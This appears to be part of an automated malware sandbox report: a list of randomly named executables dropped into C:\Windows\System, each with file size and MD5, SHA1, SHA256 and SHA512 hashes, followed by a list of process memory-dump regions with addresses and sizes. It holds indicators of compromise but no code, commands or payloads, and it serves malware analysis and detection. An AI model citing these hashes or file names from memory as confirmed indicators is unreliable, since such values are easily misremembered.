C:\Windows\System\jIaeyyf.exe

Filesize
1.8MB

MD5
94a7aa0086b8488c26d0aaae6cdf3048

SHA1
ed5d836a3793667fa0825e4f6eb0cedd35315b15

SHA256
23ceb3878d78e026cae713eb499f836dbeff9f567ccccd111a76e839dc168199

SHA512
d84800e6c7343fb5ac9113ee1375aef9cfb9c9934107fee4ee39a992e79e9c34d23a467aabc7b4af3f8a27deda5955cf0a74047f845848ec37a60079054b2948

Download Submit
C:\Windows\System\oaShjwH.exe

Filesize
1.8MB

MD5
9838419d181a78d61225878061c581c6

SHA1
ac36174e23156568d34a2466474e4b8e30f498f9

SHA256
fcb5719497cdc814dbaef56da04a1b3553bbbc98e7c786dc2b22ede10281ec9b

SHA512
db42110034d8ca01593d871c2c2205e1e46f29eb914c2ad5d724b22f85a83ffda015533be89ade9be6f618ef7ca5852f011e57256988e135c2f8da371e9cb5f3

Download Submit
C:\Windows\System\orCNaZu.exe

Filesize
1.8MB

MD5
b1dbe125de080787f25cc8a50332bb8a

SHA1
d08af028dff313b41d984abdae49c17e258672be

SHA256
e1103ad780fc90be94bc6815c2e9eb7e24510dff2e14b961004f6ffb9baf1318

SHA512
117e9c76417cd493d37fc0da1faa3a4445186f857fb9cd20caf7a7208a5662c65c21ff5a235ef9c50356d117e2dae42a9555f87e0fdbf482cc635734895e353d

Download Submit
C:\Windows\System\qHlIuSv.exe

Filesize
1.8MB

MD5
90c7d289b40647c0082f97f2e8a0038a

SHA1
085696482f21614d80852df389fac6d39c098f76

SHA256
e62cb0703d22318e9b8671605324e69914b18ed8a01a104ad349943e6fd59fd3

SHA512
302a87e78c03d0ac9f62f0245873ab9c4921dd51dab996a43332449b43f27b8200cbbd2711e3832fa9f707eecce97f527cea6b252bbac0a68973d35b36a32573

Download Submit
C:\Windows\System\qiMEdGa.exe

Filesize
1.8MB

MD5
10508d454220a80763a0b3a8636daec0

SHA1
7063063d11ae3ca95772fbabcb7203e6d92455f9

SHA256
3748f22e9505a59323f61d7f6fb87190d5fda2d15a56e85d8f05dc56e194339c

SHA512
efc7138332840073ad4a34103adba8180e6d20c7cd025cfe56465136355a3174a1bb995f8892b88a33cd3ac2bcc7082fdcf270050f5b9dc1c93cc8fdbcb02a2e

Download Submit
C:\Windows\System\qidUpOf.exe

Filesize
1.8MB

MD5
1a8754b9bf265d76f736499b55616e55

SHA1
93cf6ebdfbefb718e07ae2a42187a895d69581e1

SHA256
770846bd4f93b82d8722c054f7b02de4cb82747b275e3b9bb8d676f7f6daa0c6

SHA512
caa0b610c4387317a9e9f120f1c15bc6d4a60327d5d4dd8b83b8fcc791b7364cc940ddc64450d5ac58f4bdc86dcf4a4f529aef13f251aedd02802eb7b15bee80

Download Submit
C:\Windows\System\rvdnMCi.exe

Filesize
1.8MB

MD5
bd01bd770ab3b797ca92ed1026ff1d05

SHA1
38fff1e1b41b998066f7327651fc25824c2707de

SHA256
307e7d5edb5f5fb4b7f67e0970ab8a890d98f39474a894de1494c0c61745af19

SHA512
38b1e561fe3e663702c6087561c94eb51d4eff3fee57be9e62a3bdb902038b1736dff56a27fc634c2adc00fd4961535302108307c47c092362dd18b9e8a95e3b

Download Submit
C:\Windows\System\sZAtYiI.exe

Filesize
1.8MB

MD5
acce29a0b14df892220c9dd591540c55

SHA1
4832d390bc6c6040f19914975903a64528d11716

SHA256
7aac6426d3656c03eb454a38b6d786d675eb950c3fc7b01b03e08f787b2700fa

SHA512
633d5c888eed9c8ec5b0b8deab36585d0981e90280acff69d806d9e5da0edca1032fb0925029e946161babda23b080a472b396108af390e2a820c3eb9c722520

Download Submit
C:\Windows\System\uzdzdRT.exe

Filesize
1.8MB

MD5
fcbbd41352f5fe63453165af4a9bc5ac

SHA1
66d78f6f8e5097feb121b0809507f12ffd02d09c

SHA256
c7ad963b81e227f56d79b94739f7f59ba844e61da1f6155434cd19d0d9e5154b

SHA512
a523cb7d7b16a812187590cd717ac39cfb1b44224c410f6774c68106d6bf3ccfa02f5d73c36647d4305958b8503fda735ac959dbe9e40f6298f9b5cb5ad127c5

Download Submit
C:\Windows\System\vZElegu.exe

Filesize
1.8MB

MD5
e8c8962af17474dc59d0c2eaf2ff29de

SHA1
f2c97d23a6220f4f7866d005725243c188be504e

SHA256
5c51ffe3e7e7b69080555ed51a9f72c03dbccdfc292f090a3ef6b8e490f64fa1

SHA512
1b0797b5ba55f8eeb0f8daff18c6ae5a10093ec0a6abd500d0bb6ad1f873e444a45f4b859a971fb64401d4f25d4a44d6d4859df87888c444c38518e7923e07f4

Download Submit
C:\Windows\System\xDYIxqf.exe

Filesize
1.8MB

MD5
c71cee92eb1c2551c1737828500cf94d

SHA1
5a0636f59cd1a68c285e6b86a1136d0e46d3a884

SHA256
467b40ba18c95ee38ef3ab6ff61c3a9b01abc86f8da0a8e8c8b3a10d68410cd8

SHA512
863f3f1fb8130ad84d02227c7d03353a044343e7a430575ff7b055085ab2821cb55af634e1bd2c4415adb19585737a9e7fab9909e9ab40b0276512382da429bb

Download Submit
C:\Windows\System\xvjJMuI.exe

Filesize
1.8MB

MD5
451565315b8ab63ab9b10ffe92bebd1a

SHA1
3faf03dc4c3a6e7b45b60e615a1122f961bf072f

SHA256
fc96346e38a64971ea218b5b46e7a85946bdccc00c96e237e963faf2799c37e1

SHA512
12ccb603edd2f3fed75673031d7183df2b0bbc39721fe214b6a5c1bd4352bf019a3c2f71b413f60ca9c396b68af9540c9173ced2aa3ce057af18e32f9e801832

Download Submit
memory/220-1-0x000001D8EA5C0000-0x000001D8EA5D0000-memory.dmp

Filesize
64KB

Download
memory/220-0-0x00007FF787AE0000-0x00007FF787ED2000-memory.dmp

Filesize
3.9MB

Download
memory/228-71-0x00007FF7C4D10000-0x00007FF7C5102000-memory.dmp

Filesize
3.9MB

Download
memory/1452-109-0x00007FF7624D0000-0x00007FF7628C2000-memory.dmp

Filesize
3.9MB

Download
memory/1712-191-0x00007FF724080000-0x00007FF724472000-memory.dmp

Filesize
3.9MB

Download
memory/1712-3886-0x00007FF724080000-0x00007FF724472000-memory.dmp

Filesize
3.9MB

Download
memory/1932-5-0x00007FFF62C03000-0x00007FFF62C05000-memory.dmp

Filesize
8KB

Download
memory/1932-18-0x00007FFF62C00000-0x00007FFF636C1000-memory.dmp

Filesize
10.8MB

Download
memory/1932-116-0x00000195007B0000-0x0000019500F56000-memory.dmp

Filesize
7.6MB

Download
memory/1932-3383-0x00007FFF62C03000-0x00007FFF62C05000-memory.dmp

Filesize
8KB

Download
memory/1932-90-0x00000194FD180000-0x00000194FD1A2000-memory.dmp

Filesize
136KB

Download
memory/2020-197-0x00007FF7D1E50000-0x00007FF7D2242000-memory.dmp

Filesize
3.9MB

Download
memory/2064-111-0x00007FF7E27F0000-0x00007FF7E2BE2000-memory.dmp

Filesize
3.9MB

Download
memory/2196-230-0x00007FF7E0330000-0x00007FF7E0722000-memory.dmp

Filesize
3.9MB

Download
memory/2196-6711-0x00007FF7E0330000-0x00007FF7E0722000-memory.dmp

Filesize
3.9MB

Download
memory/2404-112-0x00007FF72AF60000-0x00007FF72B352000-memory.dmp

Filesize
3.9MB

Download
memory/2456-115-0x00007FF7CDAF0000-0x00007FF7CDEE2000-memory.dmp

Filesize
3.9MB

Download
memory/2572-107-0x00007FF6FBD70000-0x00007FF6FC162000-memory.dmp

Filesize
3.9MB

Download
memory/3132-44-0x00007FF673D30000-0x00007FF674122000-memory.dmp

Filesize
3.9MB

Download
memory/3216-114-0x00007FF768590000-0x00007FF768982000-memory.dmp

Filesize
3.9MB

Download
memory/3232-81-0x00007FF6B17D0000-0x00007FF6B1BC2000-memory.dmp

Filesize
3.9MB

Download
memory/3380-85-0x00007FF613990000-0x00007FF613D82000-memory.dmp

Filesize
3.9MB

Download
memory/3436-572-0x00007FF6B72E0000-0x00007FF6B76D2000-memory.dmp

Filesize
3.9MB

Download
memory/3504-98-0x00007FF7CA690000-0x00007FF7CAA82000-memory.dmp

Filesize
3.9MB

Download
memory/3616-244-0x00007FF781DB0000-0x00007FF7821A2000-memory.dmp

Filesize
3.9MB

Download
memory/3772-102-0x00007FF6F1E60000-0x00007FF6F2252000-memory.dmp

Filesize
3.9MB

Download
memory/3804-99-0x00007FF618670000-0x00007FF618A62000-memory.dmp

Filesize
3.9MB

Download
memory/3840-113-0x00007FF69D070000-0x00007FF69D462000-memory.dmp

Filesize
3.9MB

Download
memory/4032-110-0x00007FF772560000-0x00007FF772952000-memory.dmp

Filesize
3.9MB

Download
memory/4048-199-0x00007FF628450000-0x00007FF628842000-memory.dmp

Filesize
3.9MB

Download
memory/4048-6745-0x00007FF628450000-0x00007FF628842000-memory.dmp

Filesize
3.9MB

Download
memory/4816-108-0x00007FF717390000-0x00007FF717782000-memory.dmp

Filesize
3.9MB

Download
memory/4928-561-0x00007FF6E3DB0000-0x00007FF6E41A2000-memory.dmp

Filesize
3.9MB

Download
memory/5020-93-0x00007FF6B5050000-0x00007FF6B5442000-memory.dmp

Filesize
3.9MB

Download